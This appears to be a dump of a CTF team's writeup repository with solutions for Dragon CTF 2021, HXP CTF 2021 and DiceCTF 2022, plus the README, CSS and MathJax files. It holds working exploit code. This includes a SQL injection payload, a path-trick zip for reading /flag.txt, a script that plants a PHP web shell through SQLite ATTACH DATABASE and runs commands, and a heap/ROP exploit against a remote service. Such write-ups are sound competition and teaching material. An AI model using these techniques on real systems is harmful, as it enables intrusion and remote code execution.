to get the flag, we just need to run `./x`. Therefore, we can brute-force the hash to make the start of the hash become *shebang* `#!x\n`. 93 | 94 | Brute-force 4 bytes in SHA256 is doable. 95 | 96 | ```python 97 | #!/usr/bin/python3 98 | import hashlib 99 | import os 100 | import sys 101 | import random 102 | SALT = b"SaltyMcSaltFace" 103 | 104 | while True: 105 | password = str(random.randint(0, 0x100000000000000)).encode() 106 | hash = hashlib.sha256(SALT + password).digest() 107 | if hash.startswith(b'#!x\n'): 108 | open('log', 'a').write(repr(password) + ':' + repr(hash[:4]) + '\n') 109 | 110 | # 53594042019754885 - > #!x\n 111 | ``` 112 | 113 | Next, visit the following link to run `x` and retrieve the flag. 114 | 115 | ```sh 116 | /cgi-bin/startAuth.cgi?password=53594042019754885 117 | /cgi-bin/session_bab090dafa836740e3b10e4f7ad167988afb06f2 118 | ``` 119 | 120 | Flag: `DrgnS{valisMadeMeChangeTheFlagPfff}` 121 | 122 | ## Web 123 | 124 | ### Webpwn 125 | 126 | > written by bookgin, solved by Paul Huang, kaibro, ginoah 127 | 128 | javascript String.replace supports [some interesting feature](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace). This bug/feature is even [present in CTFd](https://github.com/CTFd/CTFd/issues/1662) 129 | 130 | 131 | session is aac762ef0044d46ad245622acf5c6f35. 132 | Here is the payload: 133 | 134 | ``` 135 | { 136 | "key":"IS NULL),($$$$e2$$$$,$$$$aac762ef0044d46ad245622acf5c6f35$$$$,(select flag from flag))--", 137 | "data":"$`" 138 | } 139 | 140 | ``` 141 | 142 | flag is in the note of e2 143 | `DrgnS{Everything_is_easy_wh3n_y0u_have_$$$_4b8c61}` 144 | 145 | 146 | ## Pwn 147 | 148 | 149 | ### Shellcode_verifier 150 | [script](https://github.com/st424204/ctf_practice/tree/master/Dragon_CTF_2021/Shellcode_verifier) 151 | 152 | ### Dragonbox 153 | [script]( 154 | https://github.com/st424204/ctf_practice/tree/master/Dragon_CTF_2021/Dragonbox) 155 | -------------------------------------------------------------------------------- /20211217-hxpctf2021/README.md: -------------------------------------------------------------------------------- 1 | # HXP CTF 2021 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20211217-hxpctf2021/) of this writeup.** 4 | 5 | 6 | - [HXP CTF 2021](#hxp-ctf-2021) 7 | - [Web](#web) 8 | - [unzipper](#unzipper) 9 | - [shitty blog 🤎](#shitty-blog-) 10 | 11 | 12 | ## Web 13 | 14 | ### unzipper 15 | 16 | Since `realpath` will not resolve `file://` or `php://`, we can create a zip with this file structure. 17 | ``` 18 | $ tree php: 19 | php: 20 | ├── filter 21 | │ └── resource=php: 22 | │ └── not.txt 23 | └── not.txt -> /flag.txt 24 | ``` 25 | 26 | `zip --symlinks -r foo.zip php:` 27 | 28 | Then make `realpath` and `readfile` get different file with `GET /?file=php://filter/resource=php:/not.txt`. 29 | 30 | ### shitty blog 🤎 31 | 32 | ```python= 33 | from requests import get, post 34 | from requests.utils import unquote as decode 35 | from requests.utils import quote as encode 36 | from multiprocessing import Pool, Manager 37 | from functools import partial 38 | 39 | target = 'http://localhost:8888' 40 | target = 'http://65.108.176.96:8888/' 41 | sqli_payload = encode("0;ATTACH DATABASE '/var/www/html/data/ginoah.php' AS ginoah;CREATE TABLE ginoah.pwn (dataz text);INSERT INTO ginoah.pwn (dataz) VALUES ('garbage');//") 42 | 43 | def collision(ses, i): 44 | r = get(target) 45 | session = decode(r.cookies['session']) 46 | _id, mac = session.split('|') 47 | if mac in ses: 48 | ses[mac] += 1 49 | else: 50 | ses[mac] = 1 51 | 52 | def sqli(mac, ses, i): 53 | payload = sqli_payload.replace('garbage', str(i)) 54 | new_session = f'{payload}|{mac}' 55 | r = get(target, cookies={'session': new_session}) 56 | if len(r.text) > 0: 57 | ses['success'] = new_session 58 | 59 | if __name__ == '__main__': 60 | manager = Manager() 61 | ses = manager.dict() 62 | 63 | col_pool = Pool() 64 | col_pool.map(partial(collision, ses), range(512)) 65 | col_pool.close() 66 | col_pool.join() 67 | macs = list(filter(lambda x: x[1] > 1, ses.items())) 68 | if len(macs) == 0: 69 | print('fail finding collision in `id`, retry again') 70 | exit(0) 71 | 72 | sqli_pool = Pool() 73 | sqli_pool.map(partial(sqli, macs[0][0], ses), range(512)) 74 | sqli_pool.close() 75 | sqli_pool.join() 76 | if 'success' not in ses: 77 | print('fail finding collision in `sqli_payload`, retry again') 78 | exit(0) 79 | 80 | new_session = ses['success'] 81 | r = post(target, cookies={'session': new_session}, data={'content': 'x'}) 82 | r = post(target, cookies={'session': new_session}, data={'delete': '1'}) 83 | cmd = '/readflag' 84 | r = get(f'{target}/data/ginoah.php?cmd={cmd}', cookies={'session': new_session}) 85 | print(r.text) 86 | f = open('flag.txt', 'w') 87 | f.write(r.text) 88 | f.close() 89 | ``` 90 | -------------------------------------------------------------------------------- /20220205-dicectf/README.md: -------------------------------------------------------------------------------- 1 | # DiceCTF 2022 2 | - [DiceCTF 2022](#dicectf-2022) 3 | - [crypto](#crypto) 4 | - [pow-pow](#pow-pow) 5 | - [rev](#rev) 6 | - [hyperlink](#hyperlink) 7 | - [taxes](#taxes) 8 | - [DG4-A](#dg4-a) 9 | - [DG4-B](#dg4-b) 10 | - [DG4-C (DG6)](#dg4-c-dg6) 11 | - [DG4-D (DG7)](#dg4-d-dg7) 12 | - [pwn](#pwn) 13 | - [baby-rop](#baby-rop) 14 | 15 | 16 | ## crypto 17 | 18 | ### pow-pow 19 | https://gist.github.com/EricTsengTy/067d9abd0ea78debe01b862ac5ccc35f 20 | ``` 21 | Find b that 22 | b = 2^(2^k) 23 | h = 1 24 | g = b^M 25 | m = H(g, h) 26 | s.t. 27 | m | M 28 | then we can get pi by 29 | pi = b^(-(M // m) * r) 30 | where r = 2^(2^64) % m 31 | ``` 32 | 33 | ## rev 34 | 35 | ### hyperlink 36 | 37 | ```python= 38 | import json 39 | 40 | with open('hyperlink.json', 'r') as f: 41 | data = json.load(f) 42 | 43 | charset = 'abcdefghijklmnopqrstuvwxyz{}_' 44 | 45 | def run_chain(links, start): 46 | current = start 47 | for link in links: 48 | current = int(''.join( 49 | str(int(current & component != 0)) 50 | for component in link 51 | ), 2) 52 | return current 53 | 54 | current = data['start'] 55 | flag = 'dice{' 56 | chain = [data['links'][c] for c in flag] 57 | current = run_chain(chain, data['start']) 58 | 59 | while (current & data['target']) != data['target'] and len(flag) < 34: 60 | tmp = current 61 | count = 0 62 | while (tmp & 1 == 1) or (tmp & 2 == 0): 63 | tmp >>= 4 64 | count += 4 65 | candidate = [] 66 | for c in charset: 67 | if data['links'][c][-count-1] == (3 << count): 68 | candidate.append(c) 69 | assert len(candidate) == 1 70 | chain = [data['links'][c] for c in candidate[0]] 71 | current = run_chain(chain, current) 72 | flag += candidate[0] 73 | 74 | print(flag) 75 | 76 | # dice{everything_is_linear_algebra} 77 | ``` 78 | 79 | ### taxes 80 | 81 | #### DG4-A 82 | 83 | ```python= 84 | a = [68, 105, 99, 101, 71, 97, 110, 103, 27, 97, 110, 21, 101, 71, 28, 2] 85 | b = [45, 7, 23, 86, 53, 15, 90, 11, 68, 19, 93, 99, 0, 41, 105, 103] 86 | 87 | for x, y in zip(a, b): 88 | print(chr(x ^ y), end='', flush=True) 89 | print() 90 | 91 | # int3rn4l_r3venue 92 | ``` 93 | 94 | #### DG4-B 95 | [SCRIPT](https://gist.github.com/paulhuangkm/c4eff7e4388eb450b4a73fdd28086476) 96 | 97 | ``` 98 | _serv1ce_m0re_l1 99 | ``` 100 | 101 | #### DG4-C (DG6) 102 | 103 | ```c= 104 | // All credits to Jwang 105 | #include 106 | #include 107 | 108 | int main(){ 109 | unsigned long long int S1 = 7453001392616335684ULL; //low 110 | unsigned long long int S2 = 7451565559246643524ULL; //high 111 | unsigned long long int T1_1 = 0; 112 | unsigned long long int T1_2 = 0; 113 | unsigned long long int T2_1 = 0; 114 | unsigned long long int T2_2 = 0; 115 | for(unsigned long long int x=0;x<1000000000000ULL;x++){ 116 | if((x%1000000000)==0) printf("%llu\n",x); 117 | T1_1 = (S1>>1)|((S2&1)<<63); 118 | T1_2 = (S2>>1)|((S1&1)<<63); 119 | T1_1|=S1; 120 | T1_2|=S2; 121 | T2_1 = (S1<<1)|(S2>>63); 122 | T2_2 = (S2<<1)|(S1>>63); 123 | S1 = T1_1^T2_1; 124 | S2 = T1_2^T2_2; 125 | } 126 | printf("%llu %llu",S2,S1); 127 | return 0; 128 | } 129 | 130 | // ke_ink_rev3rs1ng 131 | ``` 132 | 133 | #### DG4-D (DG7) 134 | 135 | ```python= 136 | As = [343039,2733569919,3492393040,912986159,2320019439,1372387751, 137 | 2734051748,4183136871,4131490973,3331550901,4039091427,2011829293, 138 | 4064521974,2542382404,662680445,4244429757,1907156173,3140073386, 139 | 1726859438,1527969902,3860913000,2876239582,2799116963,1608231135, 140 | 2396613870,3548248332,3068050105,2024408303,4100972441,2407182277, 141 | 1794763355,3196154075,3732239213,394919766,2197149293,3185198778, 142 | 3952881150,3885164379,234597444,642322623,3528601129,3969777425, 143 | 2075901355,2546415827,4029539571,2740974388,2756514805,4149925230, 144 | 319648567,1622441043,431984786,1313540411,4240996349,3021682383, 145 | 3873385171,3217995502,2130511546,347240441,3504272675,1852839691, 146 | 4198741748,384402019,1073674067,2308274366,1649593849,1580693221, 147 | 1891223314,4277757085,356677631,3587165417,785852082,1844099611, 148 | 2096069838,2075488364,635386633,3098228429,3426412026,694611443, 149 | 1308405653,3435931359,3870904043,3193145087,1325367455,3757926298, 150 | 2069475259,2255190751,1845093732,2805545695,2943133433,1824259504, 151 | 2142133580,2644404398,430366110,2010343702,2379982082,4196354527, 152 | 4267409331,2765708970,3187365580,1831014719,2980964048,3155948591, 153 | 1474999319,3019402471,3811335997,2886197802,2478524056,1563617651, 154 | 2361875522,691797586,2011659610,232149174,1825673179,1093592609, 155 | 822015370,4000387228,4160386814,2911296421,4067921206,3662955519, 156 | 4183412649,1714940895,1804170151,2146074317,4265857463,1748298979, 157 | 2448886932,4276199443,1525903074,970392251,1340077627,3553265758, 158 | 4071857050,3428769418,422692964,3711627571,1215623161,1342152068, 159 | 2008517966,2615766190,3174211036,84635794,1811810082,4242345917, 160 | 4211381217,1544282103,4226339213,2646887223,1238817226,1765229974, 161 | 2650691895,934669108,4088930102,1827990831,322129065,1570925947, 162 | 4140256803,3782718380,4219345613,2010167885,714423230,2842032436, 163 | 2482890916,4079113151,3988776550,3718830182,2608739728,3651564519, 164 | 3956746680,1965976605,2310035390,1878613359,3745949280,3662274430, 165 | 937860498,3730106990,17759318,3799514325,3436051645,2614409852, 166 | 3745109800,2606620258,221604262,4231217596,4016557533,1254453423, 167 | 1473231509,1888270285,3442580406,3061638831,2481107534,4294244799, 168 | 4234455904,514456518,855137327,3688592311,970897802,1765712340, 169 | 3218843744,1066530491,3059857109,587069669,997953869,4200885116, 170 | 371843045,330774306,3278820337,1073515613,1926869885,3444893756, 171 | 3618851621,3257098035,913061864,718795725,2766649823,3016551502, 172 | 3939630008,3798815605] 173 | 174 | A = 0 175 | for a in As: 176 | A <<= 32 177 | A += a 178 | 179 | FLAG = '' 180 | 181 | def enc(b): 182 | B = 0 183 | for c in b[::-1]: 184 | B *= 128 185 | B += c 186 | return B 187 | 188 | def dec(B): 189 | b = b'' 190 | while B != 0: 191 | b += (B & 127).to_bytes(1, byteorder='little') 192 | B >>= 7 193 | return b 194 | 195 | def DG7(A1,B1): 196 | P29 = 1 197 | count = 0 198 | while P29 != 0: 199 | count += 1 200 | P5 = A1 & 3 201 | if P5 == 0: # end 202 | P82 = B1 203 | P29 = 0 204 | elif P5 == 1: # push to stack 205 | P29 = A1 >> 9 206 | P82 = (B1 << 7) + ((A1 >> 2) & 127) 207 | elif P5 == 2: # check if top of stack is 0 208 | if B1 & 127 == 0: 209 | P29 = A1 >> 2 210 | P82 = B1 211 | else: 212 | P29 = 0 213 | P82 = 0 214 | else: # arithmetic operation on top 2 of stack 215 | P29 = A1 >> 4 216 | P55 = (A1 >> 2) & 3 217 | P61 = (B1 >> 14) << 7 218 | 219 | # top 2 elements on stack 220 | P62 = B1 & 127 221 | P64 = (B1 >> 7) & 127 222 | if P55 == 0: 223 | P82 = P61 + ((P64 + P62) & 127) 224 | elif P55 == 1: 225 | P82 = P61 + ((P64 - P62) & 127) 226 | elif P55 == 2: 227 | P82 = P61 + ((P64 * P62) & 127) 228 | else: 229 | P82 = P61 + ((P64 ^ P62) & 127) 230 | 231 | A1 = P29 232 | B1 = P82 233 | return count 234 | 235 | while len(FLAG) < 16: 236 | charset = ''.join(chr(c) for c in range(32, 128)) 237 | for char in charset: 238 | INP = (FLAG.encode() + char.encode()).ljust(16, b'a') 239 | N = enc(INP) 240 | 241 | if DG7(A, N) > 68 * (len(FLAG) + 1): 242 | FLAG += char 243 | print(char, end='', flush=True) 244 | 245 | print() 246 | 247 | # _simul4ti0n_lmao 248 | ``` 249 | 250 | ## pwn 251 | 252 | ### baby-rop 253 | 254 | ```python 255 | from pwn import * 256 | context.arch = 'amd64' 257 | 258 | elf = ELF('./babyrop') 259 | libc = ELF('./libc.so.6') 260 | 261 | # p = elf.process(env = {'LD_PRELOAD': './libc.so.6'}) 262 | p = remote('mc.ax', 31245) 263 | 264 | def create(idx, len, cont): 265 | p.recvuntil(b'command: ') 266 | p.sendline(b'C\n' + str(idx).encode() + b'\n' + str(len).encode()) 267 | p.recvuntil(b'string: ') 268 | p.send(cont) 269 | 270 | def free(idx): 271 | p.recvuntil(b'command: ') 272 | p.sendline(b'F\n' + str(idx).encode()) 273 | p.recvuntil(b'index: ') 274 | 275 | def read(idx): 276 | p.recvuntil(b'command: ') 277 | p.sendline(b'R\n' + str(idx).encode()) 278 | p.recvuntil(b'index: ') 279 | 280 | def write(idx, cont): 281 | p.sendline(b'W\n' + str(idx).encode()) 282 | p.recvuntil(b'string: ') 283 | p.send(cont) 284 | 285 | def exit(): 286 | p.recvuntil(b'command: ') 287 | p.send(b'E') 288 | p.sendline(b'1') 289 | 290 | def parse_hex(): 291 | p.recvuntil(b'hex-encoded bytes\n') 292 | ls = p.recvline()[:-1].split(b' ')[1:] 293 | lb = [] 294 | for i in range(len(ls) // 8): 295 | x = int(ls[i * 8 + 7], 16) 296 | for o in range(6, -1, -1): 297 | x <<= 8 298 | x += int(ls[i * 8 + o], 16) 299 | lb.append(x) 300 | return lb 301 | 302 | create(0, 0x10, b'a') 303 | for i in range(1, 9): 304 | create(i, 0x80, b'a') 305 | 306 | for i in range(8, 1, -1): 307 | free(i) 308 | 309 | free(0) 310 | free(1) 311 | 312 | for i in range(2, 7): 313 | create(i, 0x10, p64(0x8)) 314 | 315 | read(1) 316 | lh = parse_hex() 317 | libc_leak = lh[0] - 0x30 318 | 319 | def ch_ptr(ptr, len): 320 | write(6, p64(len)+ p64(ptr)) 321 | 322 | libc_base = libc_leak - 0x1f4c90 323 | libc.address = libc_base 324 | 325 | environ_off = 0x1fcec0 326 | ch_ptr(libc_base + environ_off, 0x8) 327 | read(0) 328 | lh = parse_hex() 329 | stack_leak = lh[0] 330 | ret_addr = stack_leak - 0x140 331 | 332 | buf = 0x404100 333 | buf2 = 0x404300 334 | flag_addr = 0x404500 335 | flag_buf = 0x404600 336 | 337 | leave_ret = 0x00000000004012da 338 | pop_rdi = 0x000000000002d7dd + libc_base 339 | pop_rsi = 0x000000000002eef9 + libc_base 340 | pop_rdx = 0x00000000000d9c2d + libc_base 341 | pop_rcx = 0x0000000000110f8b + libc_base 342 | rop = flat([buf2, pop_rdi, flag_addr, pop_rsi, 0, pop_rdx, 0, libc.symbols['open'] 343 | , pop_rdi, 3, pop_rsi, flag_buf, pop_rdx, 0x100, libc.symbols['read'] 344 | , pop_rdi, 1, pop_rsi, flag_buf, pop_rdx, 0x100, libc.symbols['write']]) 345 | 346 | ch_ptr(flag_addr, 0x30) 347 | write(0, b'./flag.txt') 348 | 349 | ch_ptr(buf, len(rop)) 350 | write(0, rop) 351 | 352 | ch_ptr(ret_addr - 0x8, 0x10) 353 | write(0, p64(buf) + p64(leave_ret)) 354 | exit() 355 | 356 | p.interactive() 357 | 358 | # main_arena = __malloc_hook - 0x7500 359 | ``` 360 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Balsn CTF writeups 2 | 3 | Balsn is CTF team from Taiwan founded in 2016. We actively participate in CTF competitions, and publish writeups on challenges. 4 | The writeups are in markdown + kaTeX format in our GitHub repository [balsn/ctf_writeup](https://github.com/balsn/ctf_writeup). 5 | 6 | For more information, please refer to [our website](https://balsn.tw/). 7 | 8 | ## Table of Contents 9 | - [20220226-tsjctf](20220226-tsjctf/) 10 | - [20220205-dicectf](20220205-dicectf/) 11 | - [20220121-realworldctf](20220121-realworldctf/) 12 | - [20211217-hxpctf2021](20211217-hxpctf2021/) 13 | - [20211211-secconctf2021](20211211-secconctf2021/) 14 | - [20211203-hitconctf2021](20211203-hitconctf2021/) 15 | - [20211127-dragonctf2021](20211127-dragonctf2021/) 16 | - [20210925-0ctf_tctf2021finals](20210925-0ctf_tctf2021finals/) 17 | - [20210904-allesctf](20210904-allesctf/) 18 | - [20210717-googlectf2021](20210717-googlectf2021/) 19 | - [20210703-0ctf_tctf2021quals](20210703-0ctf_tctf2021quals/) 20 | - [20201128-hitconctf](20201128-hitconctf/) 21 | - [20200928-tokyowesternsctf2020](20200928-tokyowesternsctf2020/) 22 | - [20200905-confidence2020ctffinals](20200905-confidence2020ctffinals/) 23 | - [20200822-googlectf2020](20200822-googlectf2020/) 24 | - [20200627-0ctf_tctf2020quals](20200627-0ctf_tctf2020quals/) 25 | - [20200509-spamandflags](20200509-spamandflags/) 26 | - [20200418-plaidctf2020](20200418-plaidctf2020/) 27 | - [20200404-midnightsunctf2020quals](20200404-midnightsunctf2020quals/) 28 | - [20200314-confidencectf2020teaser](20200314-confidencectf2020teaser/) 29 | - [20200307-zer0ptsctf](20200307-zer0ptsctf/) 30 | - [20200208-codegatectf2020quals](20200208-codegatectf2020quals/) 31 | - [20191228-hxp36c3ctf](20191228-hxp36c3ctf/) 32 | - [20191019-secconquals](20191019-secconquals/) 33 | - [20191012-hitconctfquals](20191012-hitconctfquals/) 34 | - [20190928-pwnthybytesctf](20190928-pwnthybytesctf/) 35 | - [20190928-bsidesdelhictf](20190928-bsidesdelhictf/) 36 | - [20190921-dragonctfteaser](20190921-dragonctfteaser/) 37 | - [20190913-realworldctfqual](20190913-realworldctfqual/) 38 | - [20190907-defcampctfqual](20190907-defcampctfqual/) 39 | - [20190906-trendmicroctfqual](20190906-trendmicroctfqual/) 40 | - [20190906-n1ctf](20190906-n1ctf/) 41 | - [20190831-tokyowesternsctf](20190831-tokyowesternsctf/) 42 | - [20190803-de1ctf](20190803-de1ctf/) 43 | - [20190622-googlectfquals](20190622-googlectfquals/) 44 | - [20190608-0ctf_tctf2019finals](20190608-0ctf_tctf2019finals/) 45 | - [20190603-facebookctf](20190603-facebookctf/) 46 | - [20190522-securityfestctf](20190522-securityfestctf/) 47 | - [20190518-rctf2019](20190518-rctf2019/) 48 | - [20190513-defconctfqual](20190513-defconctfqual/) 49 | - [20190427-*ctf](20190427-*ctf/) 50 | - [20190413-plaidctf](20190413-plaidctf/) 51 | - [20190406-midnightsunctf](20190406-midnightsunctf/) 52 | - [20190329-volgactfqual](20190329-volgactfqual/) 53 | - [20190323-0ctf_tctf2019quals](20190323-0ctf_tctf2019quals/) 54 | - [20190317-confidencectf](20190317-confidencectf/) 55 | - [20190308-pragyanctf](20190308-pragyanctf/) 56 | - [20190223-tamuctf](20190223-tamuctf/) 57 | - [20190126-codegatectf](20190126-codegatectf/) 58 | - [20181207-hxpctf](20181207-hxpctf/) 59 | - [20181130-pwn2winctf](20181130-pwn2winctf/) 60 | - [20181124-asisctffinal](20181124-asisctffinal/) 61 | - [20181108-defcampctffinal](20181108-defcampctffinal/) 62 | - [20181019-hitconctf](20181019-hitconctf/) 63 | - [20181006-hackoverctf](20181006-hackoverctf/) 64 | - [20180929-teaserdragonctf](20180929-teaserdragonctf/) 65 | - [20180922-dctfquals2018](20180922-dctfquals2018/) 66 | - [20180914-trendmicroctf](20180914-trendmicroctf/) 67 | - [20180908-hackitctf](20180908-hackitctf/) 68 | - [20180601-ais3preexam](20180601-ais3preexam/) 69 | - [20180526-suctf](20180526-suctf/) 70 | - [20180512-defconctfqual](20180512-defconctfqual/) 71 | - [20180505-plaidctf](20180505-plaidctf/) 72 | - [20180429-asisctfquals](20180429-asisctfquals/) 73 | - [20180421-*ctf](20180421-*ctf/) 74 | - [20180411-hitbxctfqual](20180411-hitbxctfqual/) 75 | - [20180330-nuitduhackctf](20180330-nuitduhackctf/) 76 | - [20180324-volgactf](20180324-volgactf/) 77 | - [20180317-backdoorctf](20180317-backdoorctf/) 78 | - [20180310-n1ctf](20180310-n1ctf/) 79 | - [20171104-hitconctfquals](20171104-hitconctfquals/) 80 | 81 | 82 | ## Questions 83 | 84 | If you have any question regarding our writeups, please feel free to [create an issue](https://github.com/balsn/ctf_writeup/issues) in the writeup repository. 85 | 86 | -------------------------------------------------------------------------------- /assets/css/hljs-github.min.css: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | github.com style (c) Vasily Polovnyov 4 | 5 | */ 6 | 7 | .hljs { 8 | display: block; 9 | overflow-x: auto; 10 | padding: 0.5em; 11 | color: #333; 12 | background: #f8f8f8; 13 | -webkit-text-size-adjust: none; 14 | } 15 | 16 | .hljs-comment, 17 | .diff .hljs-header, 18 | .hljs-javadoc { 19 | color: #998; 20 | font-style: italic; 21 | } 22 | 23 | .hljs-keyword, 24 | .css .rule .hljs-keyword, 25 | .hljs-winutils, 26 | .nginx .hljs-title, 27 | .hljs-subst, 28 | .hljs-request, 29 | .hljs-status { 30 | color: #333; 31 | font-weight: bold; 32 | } 33 | 34 | .hljs-number, 35 | .hljs-hexcolor, 36 | .ruby .hljs-constant { 37 | color: #008080; 38 | } 39 | 40 | .hljs-string, 41 | .hljs-tag .hljs-value, 42 | .hljs-phpdoc, 43 | .hljs-dartdoc, 44 | .tex .hljs-formula { 45 | color: #d14; 46 | } 47 | 48 | .hljs-title, 49 | .hljs-id, 50 | .scss .hljs-preprocessor { 51 | color: #900; 52 | font-weight: bold; 53 | } 54 | 55 | .hljs-list .hljs-keyword, 56 | .hljs-subst { 57 | font-weight: normal; 58 | } 59 | 60 | .hljs-class .hljs-title, 61 | .hljs-type, 62 | .vhdl .hljs-literal, 63 | .tex .hljs-command { 64 | color: #458; 65 | font-weight: bold; 66 | } 67 | 68 | .hljs-tag, 69 | .hljs-tag .hljs-title, 70 | .hljs-rules .hljs-property, 71 | .django .hljs-tag .hljs-keyword { 72 | color: #000080; 73 | font-weight: normal; 74 | } 75 | 76 | .hljs-attribute, 77 | .hljs-variable, 78 | .lisp .hljs-body { 79 | color: #008080; 80 | } 81 | 82 | .hljs-regexp { 83 | color: #009926; 84 | } 85 | 86 | .hljs-symbol, 87 | .ruby .hljs-symbol .hljs-string, 88 | .lisp .hljs-keyword, 89 | .clojure .hljs-keyword, 90 | .scheme .hljs-keyword, 91 | .tex .hljs-special, 92 | .hljs-prompt { 93 | color: #990073; 94 | } 95 | 96 | .hljs-built_in { 97 | color: #0086b3; 98 | } 99 | 100 | .hljs-preprocessor, 101 | .hljs-pragma, 102 | .hljs-pi, 103 | .hljs-doctype, 104 | .hljs-shebang, 105 | .hljs-cdata { 106 | color: #999; 107 | font-weight: bold; 108 | } 109 | 110 | .hljs-deletion { 111 | background: #fdd; 112 | } 113 | 114 | .hljs-addition { 115 | background: #dfd; 116 | } 117 | 118 | .diff .hljs-change { 119 | background: #0086b3; 120 | } 121 | 122 | .hljs-chunk { 123 | color: #aaa; 124 | } 125 | -------------------------------------------------------------------------------- /assets/css/pilcrow.css: -------------------------------------------------------------------------------- 1 | /* needed because the container has overflow: hidden, but the pilcrows overflow */ 2 | .markdown-body { 3 | padding-left: 30px; 4 | } 5 | 6 | .markdown-body h1, 7 | .markdown-body h2, 8 | .markdown-body h3, 9 | .markdown-body h4, 10 | .markdown-body h5, 11 | .markdown-body h6 { 12 | position: relative; 13 | } 14 | 15 | .markdown-body h1:hover .header-link:before, 16 | .markdown-body h2:hover .header-link:before, 17 | .markdown-body h3:hover .header-link:before, 18 | .markdown-body h4:hover .header-link:before, 19 | .markdown-body h5:hover .header-link:before, 20 | .markdown-body h6:hover .header-link:before { 21 | content: "\00B6";/* pilcrow */ 22 | color: #888; 23 | font-size: smaller; 24 | } 25 | 26 | .markdown-body .header-link { 27 | -webkit-user-select: none; 28 | -moz-user-select: none; 29 | -ms-user-select: none; 30 | user-select: none; 31 | 32 | position: absolute; 33 | top: 0; 34 | left: -0.7em; 35 | display: block; 36 | padding-right: 1em; 37 | } 38 | 39 | .markdown-body h1:hover .header-link, 40 | .markdown-body h2:hover .header-link, 41 | .markdown-body h3:hover .header-link, 42 | .markdown-body h4:hover .header-link, 43 | .markdown-body h5:hover .header-link, 44 | .markdown-body h6:hover .header-link { 45 | display: inline-block; 46 | text-decoration: none; 47 | } 48 | -------------------------------------------------------------------------------- /assets/js/mathjax-2.7.4/extensions/TeX/mathchoice.js: -------------------------------------------------------------------------------- 1 | /* 2 | * /MathJax/extensions/TeX/mathchoice.js 3 | * 4 | * Copyright (c) 2009-2018 The MathJax Consortium 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); 7 | * you may not use this file except in compliance with the License. 8 | * You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, software 13 | * distributed under the License is distributed on an "AS IS" BASIS, 14 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | * See the License for the specific language governing permissions and 16 | * limitations under the License. 17 | */ 18 | 19 | MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c="2.7.4";var a=MathJax.ElementJax.mml;var d=MathJax.InputJax.TeX;var b=d.Definitions;b.Add({macros:{mathchoice:"MathChoice"}},null,true);d.Parse.Augment({MathChoice:function(f){var i=this.ParseArg(f),e=this.ParseArg(f),g=this.ParseArg(f),h=this.ParseArg(f);this.Push(a.TeXmathchoice(i,e,g,h))}});a.TeXmathchoice=a.mbase.Subclass({type:"TeXmathchoice",notParent:true,choice:function(){if(this.selection!=null){return this.selection}if(this.choosing){return 2}this.choosing=true;var f=0,e=this.getValues("displaystyle","scriptlevel");if(e.scriptlevel>0){f=Math.min(3,e.scriptlevel+1)}else{f=(e.displaystyle?0:1)}var g=this.inherit;while(g&&g.type!=="math"){g=g.inherit}if(g){this.selection=f}this.choosing=false;return f},selected:function(){return this.data[this.choice()]},setTeXclass:function(e){return this.selected().setTeXclass(e)},isSpacelike:function(){return this.selected().isSpacelike()},isEmbellished:function(){return this.selected().isEmbellished()},Core:function(){return this.selected()},CoreMO:function(){return this.selected().CoreMO()},toHTML:function(e){e=this.HTMLcreateSpan(e);e.bbox=this.Core().toHTML(e).bbox;if(e.firstChild&&e.firstChild.style.marginLeft){e.style.marginLeft=e.firstChild.style.marginLeft;e.firstChild.style.marginLeft=""}return e},toSVG:function(){var e=this.Core().toSVG();this.SVGsaveData(e);return e},toCommonHTML:function(e){e=this.CHTMLcreateNode(e);this.CHTMLhandleStyle(e);this.CHTMLhandleColor(e);this.CHTMLaddChild(e,this.choice(),{});return e},toPreviewHTML:function(e){e=this.PHTMLcreateSpan(e);this.PHTMLhandleStyle(e);this.PHTMLhandleColor(e);this.PHTMLaddChild(e,this.choice(),{});return e}});MathJax.Hub.Startup.signal.Post("TeX mathchoice Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/mathchoice.js"); 20 | -------------------------------------------------------------------------------- /assets/js/mathjax-2.7.4/fonts/HTML-CSS/TeX/woff/MathJax_Main-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/balsn/ctf_writeup/f9d99dc0f446376cb8a4882d09d80a37c8fa79cf/assets/js/mathjax-2.7.4/fonts/HTML-CSS/TeX/woff/MathJax_Main-Regular.woff -------------------------------------------------------------------------------- /assets/js/mathjax-2.7.4/fonts/HTML-CSS/TeX/woff/MathJax_Math-Italic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/balsn/ctf_writeup/f9d99dc0f446376cb8a4882d09d80a37c8fa79cf/assets/js/mathjax-2.7.4/fonts/HTML-CSS/TeX/woff/MathJax_Math-Italic.woff -------------------------------------------------------------------------------- /assets/js/mathjax-2.7.4/jax/output/CommonHTML/autoload/mtable.js: -------------------------------------------------------------------------------- 1 | /* 2 | * /MathJax/jax/output/CommonHTML/autoload/mtable.js 3 | * 4 | * Copyright (c) 2009-2018 The MathJax Consortium 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); 7 | * you may not use this file except in compliance with the License. 8 | * You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, software 13 | * distributed under the License is distributed on an "AS IS" BASIS, 14 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | * See the License for the specific language governing permissions and 16 | * limitations under the License. 17 | */ 18 | 19 | MathJax.Hub.Register.StartupHook("CommonHTML Jax Ready",function(){var g="2.7.4";var b=MathJax.ElementJax.mml,a=MathJax.Hub.config,e=MathJax.OutputJax.CommonHTML,d=MathJax.Hub.SplitList;var c=-1,f=1000000;b.mtable.Augment({toCommonHTML:function(l){var m={rows:[],labels:[],labeled:false};l=this.CHTMLdefaultNode(l,{noBBox:true,childOptions:m});var k=e.Element("mjx-table");while(l.firstChild){k.appendChild(l.firstChild)}l.appendChild(k);var 